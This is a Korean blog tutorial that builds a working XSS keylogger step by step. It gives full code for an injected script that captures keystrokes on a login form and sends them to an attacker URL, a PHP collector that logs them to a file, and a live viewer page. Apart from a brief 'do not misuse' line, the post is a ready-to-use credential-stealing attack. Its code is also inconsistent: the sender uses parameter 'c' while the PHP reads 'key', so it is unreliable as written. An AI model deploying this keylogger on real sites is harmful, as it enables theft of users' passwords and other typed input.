[WEB HACKING] Making XSS Keylogger(XSS Keylogger 만들기)

오늘은 공격을 통한 영향력 측면에서 바로 사용자의 키 입력을 가로채는 Keylogger를 간단하게 만들어볼까합니다. 물론 악용하시면 안됩니다. 연구적인 측면에서 해보시길 바랍니다.

Keylogger의 원리

전통적인 Keylogger는 OS나 사용자 프로그램에 삽입되어 사용자가 입력하는 키 값을 후킹하여 가로채 PC에 저장하거나 원격지로 전송합니다. 요즘 시대에는 Web이 많이 사용되고 있고, 앞으로도 Web은 죽지않을 것이기 때문에 이런 웹을 이용한 Keylogger 도 조심해야할 판입니다.

OS단 Keylogger 와는 다르게 우리는 Hooking을 할 필요가 없습니다. 웹 브라우저에서 오는 입력을 Event Handler로 받아낼 수 있으니깐요 :)

자 크게 그림을 보면 이런 느낌이겠네요. XSS(Keylog)가 삽입된 페이지에 사용자가 접근하여 키보드를 누를 때 onkeypress 등등 여러가지 keyboard event가 발생합니다. 이 발생한 값에는 입력한 키보드 값이 존재하며 이를 원격지 서버로 전송만해주면 됩니다. (onkeypress는 xss 공격 자체에도 쓰이고, 웹에서 enter 키 누르면 검색되게 하는데 그 부분에도 사용되지요)

Keylogger XSS 만들기(./vuln.html : Client : HTML)

자 이제 onkeypree를 이용해서 간단한 코드를 만들어보겠습니다. 가상으로 XSS가 삽입된 페이지처럼

여기에 onkeypress를 받으면 buffer에 입력된 값을 넣는 코드를 작성합니다. (enter는 보기편하라고 해놓았습니다.)


var buffer = "";
var attacker = 'http://127.0.0.1/xsskey/proc.php?c='

document.onkeypress = function(e) {

이제 서버로 전송하는 부분만 만들면 됩니다. img 태그를 이용하면 어렵지 않게 전송이 가능하겠죠. (img 태그의 src 부분은 이미지의 주소를 의미하며 이미지던, txt 던 파일이 없던 무조건 접근합니다. 따라서 웹 서버는 그 로그값을 받아 처리하면 되지요)


window.setInterval(function() {
    if (buffer.length > 0) {
        var data = encodeURIComponent(buffer);
        new Image().src = attacker + data;
        buffer = "";
    }
}, 200);

자 정말 간단하네요. 여기까지 보면 사용자의 key 입력을 받아서 지정한 서버 페이지(proc.php)로 전송하는 코드가 작성되었습니다. Full Code로 보면 아래와 같네요.

vuln.html


<html><body>

<h1>TEST PAGE</h1>
<hr>
<table border=1><tr><td>
ID: <input type=text>
PASSWD: <input type=text>
<input type=submit value="Send">
</td></tr></table>

<script>
// Insert XSS zzz
var buffer = "";
var attacker = 'http://127.0.0.1/xsskey/proc.php?c='

document.onkeypress = function(e) {
buffer = e.key;
if(buffer == "Enter")
 {
 buffer = " --> [Enter]\n"
 }
}

window.setInterval(function() {
    if (buffer.length > 0) {
        var data = encodeURIComponent(buffer);
        new Image().src = attacker + data;
        buffer = "";
    }
}, 200);
</script></body></html>

Keylogger Server 만들기(./proc.php : Server : PHP)

사실 위에 Javascript 로 만든 XSS코드가 전부입니다. 여기는 그냥 src로 넘어온 값을 받아서 처리(저장/사용)하는 구문만 만들면되지요. 아까 JS코드에서 사용자 키 입력을 넘기는 파라미터는 key 파라미터였습니다. 아래와 같이 c 파라미터를 받아서 txt 파일에 저장하는 코드를 작성합니다.


<?php
if(!empty($_GET['key'])) {
    $logfile = fopen('./data.txt', 'a+');
    fwrite($logfile, $_GET['key']);
    fclose($logfile);
}
?>

data.txt 파일을 읽어보면.. #> cat data.txt

test –> [Enter] www.hahwul.com –> [Enter]

Keylogger Viewer 만들기(./index.html : Server : HTML)

proc.php 까지 해도 keylogger는 완성되었지만 우리는 좀 더 편하게 볼 수 있기를 원합니다. 간단하게 HTML로 Viewer를 작성해봅니다.


<html>
<body>

<iframe name="log" src="./data.txt" width="100%" height="100%"></iframe>
<script>
function refresh()
{
 parent.log.location.href="./data.txt";
 setTimeout("refresh()",1000);
}
refresh();
</script>
</body>
</html>

iframe으로 아까 만든 txt를 읽어오고 1초(setTimeout의 1000) 단위로 갱신하여서 나름 실시간으로 받는 것 처럼 만들어줍니다.

정말 심플하죠 :)

Run!

이제 XSS 코드를 심어놓은 vuln.html 에서 키 입력을 해봅시다. 그러면 proc를 통해 txt 파일에 데이터가 작성되고 viewer(index.php)에서 해당 파일을 읽게 되지요. 간단하게 영상으로 꾸며봤습니다.